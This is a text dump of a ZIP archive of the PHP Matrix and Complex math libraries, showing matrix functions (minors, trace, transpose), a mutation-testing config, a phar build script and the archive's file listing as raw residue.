protected static function getMinors(Matrix $matrix) { $minors = $matrix->toArray(); $dimensions = $matrix->rows; if ($dimensions == 1) { return $minors; } for ($i = 0; $i < $dimensions; ++$i) { for ($j = 0; $j < $dimensions; ++$j) { $minors[$i][$j] = self::getDeterminantSegment($matrix, $i, $j); } } return $minors; } /** * Return the minors of the matrix * The minor of a matrix A is the determinant of some smaller square matrix, cut down from A by removing one or * more of its rows or columns. * Minors obtained by removing just one row and one column from square matrices (first minors) are required for * calculating matrix cofactors, which in turn are useful for computing both the determinant and inverse of * square matrices. * * @param Matrix|array $matrix The matrix whose minors we wish to calculate * @return Matrix * @throws Exception **/ public static function minors($matrix) { $matrix = self::validateMatrix($matrix); if (!$matrix->isSquare()) { throw new Exception('Minors can only be calculated for a square matrix'); } return new Matrix(self::getMinors($matrix)); } /** * Return the trace of this matrix * The trace is defined as the sum of the elements on the main diagonal (the diagonal from the upper left to the lower right) * of the matrix * * @param Matrix|array $matrix The matrix whose trace we wish to calculate * @return float * @throws Exception **/ public static function trace($matrix) { $matrix = self::validateMatrix($matrix); if (!$matrix->isSquare()) { throw new Exception('Trace can only be extracted from a square matrix'); } $dimensions = $matrix->rows; $result = 0; for ($i = 1; $i <= $dimensions; ++$i) { $result += $matrix->getValue($i, $i); } return $result; } /** * Return the transpose of this matrix * * @param Matrix|\a $matrix The matrix whose transpose we wish to calculate * @return Matrix **/ public static function transpose($matrix) { $matrix = self::validateMatrix($matrix); $array = array_values(array_merge([null], $matrix->toArray())); $grid = call_user_func_array( 'array_map', $array ); return new Matrix($grid); } } PKZssmatrix/infection.json.distnu[{ "timeout": 1, "source": { "directories": [ "classes\/src" ] }, "logs": { "text": "build/infection/text.log", "summary": "build/infection/summary.log", "debug": "build/infection/debug.log", "perMutator": "build/infection/perMutator.md" }, "mutators": { "@default": true } } PKZtWWmatrix/buildPhar.phpnu[ 'Mark Baker ', 'Description' => 'PHP Class for working with Matrix numbers', 'Copyright' => 'Mark Baker (c) 2013-' . date('Y'), 'Timestamp' => time(), 'Version' => '0.1.0', 'Date' => date('Y-m-d') ); // cleanup if (file_exists($pharName)) { echo "Removed: {$pharName}\n"; unlink($pharName); } echo "Building phar file...\n"; // the phar object $phar = new Phar($pharName, null, 'Matrix'); $phar->buildFromDirectory($sourceDir); $phar->setStub( <<<'EOT' getMessage()); exit(1); } include 'phar://functions/sqrt.php'; __HALT_COMPILER(); EOT ); $phar->setMetadata($metaData); $phar->compressFiles(Phar::GZ); echo "Complete.\n"; exit(); PKZF8complex/composer.jsonnu[PKZh'Mcomplex/README.mdnu[PKZaVK"7complex/.github/workflows/main.ymlnu[PKZ UU.complex/license.mdnu[PKZ5bYY#?3complex/examples/testOperations.phpnu[PKZF"5complex/examples/testFunctions.phpnu[PKZ!O< < T:complex/examples/complexTest.phpnu[PKZBZ,,Ecomplex/classes/src/Complex.phpnu[PKZGx!>rcomplex/classes/src/Exception.phpnu[PKZGPP"scomplex/classes/src/Operations.phpnu[PKZTgAwAw!"complex/classes/src/Functions.phpnu[PKZv}matrix/composer.jsonnu[PKZD8JJmatrix/phpstan.neonnu[PKZȩccymatrix/README.mdnu[PKZf>"'matrix/.github/workflows/main.yamlnu[PKZBUUF7matrix/license.mdnu[PKZ:"U;matrix/examples/test.phpnu[PKZF  >matrix/examples/630718/index.phpnu[PKZz'matrix/examples/index.phpnu[PKZ&$'matrix/classes/src/Div0Exception.phpnu[PKZp )matrix/classes/src/Builder.phpnu[PKZx!ӱ 0matrix/classes/src/Exception.phpnu[PKZ=b\(-(-F1matrix/classes/src/Matrix.phpnu[PKZƵ NN!^matrix/classes/src/Operations.phpnu[PKZ/y2Zomatrix/classes/src/Decomposition/Decomposition.phpnu[PKZa?99'qmatrix/classes/src/Decomposition/LU.phpnu[PKZd'^matrix/classes/src/Decomposition/QR.phpnu[PKZqO@@,matrix/classes/src/Operators/Subtraction.phpnu[PKZ*ʞ)@matrix/classes/src/Operators/Operator.phpnu[PKZ/FG*jmatrix/classes/src/Operators/DirectSum.phpnu[PKZ=%d d /Cmatrix/classes/src/Operators/Multiplication.phpnu[PKZ@_)matrix/classes/src/Operators/Division.phpnu[PKZgj)Lmatrix/classes/src/Operators/Addition.phpnu[PKZ2S** matrix/classes/src/Functions.phpnu[PKZssmatrix/infection.json.distnu[PKZtWWDmatrix/buildPhar.phpnu[PK$$k